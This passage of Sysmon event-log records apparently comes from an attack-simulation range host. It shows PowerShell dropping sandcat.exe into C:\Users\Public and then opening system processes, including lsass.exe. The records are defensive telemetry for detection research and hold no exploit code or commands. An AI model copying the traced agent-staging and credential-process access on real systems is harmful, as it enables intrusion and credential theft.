C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:43.328","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD7-5F2D-0000-00100EB70100}","TargetProcessId":"2832","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1014,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:43.328\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD7-5F2D-0000-00100EB70100}\r\nTargetProcessId: 2832\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:43.328","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD7-5F2D-0000-00100EB70100}","TargetProcessId":"2832","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":1015,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: EXE\r\nUtcTime: 2020-08-07 11:49:43.703\r\nProcessGuid: {90617006-3FD4-5F2D-0000-0010693E0100}\r\nProcessId: 2168\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Public\\sandcat.exe\r\nCreationUtcTime: 2020-08-07 11:49:43.703","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"EXE","UtcTime":"2020-08-07 11:49:43.703","ProcessGuid":"{90617006-3FD4-5F2D-0000-0010693E0100}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Public\\sandcat.exe","CreationUtcTime":"2020-08-07 11:49:43.703","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1016,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.953\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010C05A0100}\r\nTargetProcessId: 2304\r\nTargetImage: C:\\Windows\\system32\\compattelrunner.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.953","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010C05A0100}","TargetProcessId":"2304","TargetImage":"C:\\Windows\\system32\\compattelrunner.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1017,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.953\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001087400100}\r\nTargetProcessId: 2204\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.953","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001087400100}","TargetProcessId":"2204","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1018,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.953\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00100F5C0100}\r\nTargetProcessId: 2312\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.953","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00100F5C0100}","TargetProcessId":"2312","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1019,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.969\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001073D20000}\r\nTargetProcessId: 1376\r\nTargetImage: C:\\Windows\\system32\\dwm.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.969","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001073D20000}","TargetProcessId":"1376","TargetImage":"C:\\Windows\\system32\\dwm.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1020,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.969\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001076B40000}\r\nTargetProcessId: 1092\r\nTargetImage: C:\\Windows\\system32\\LogonUI.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.969","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001076B40000}","TargetProcessId":"1092","TargetImage":"C:\\Windows\\system32\\LogonUI.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1021,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.969\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.969","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1022,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.969\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nTargetProcessId: 588\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: 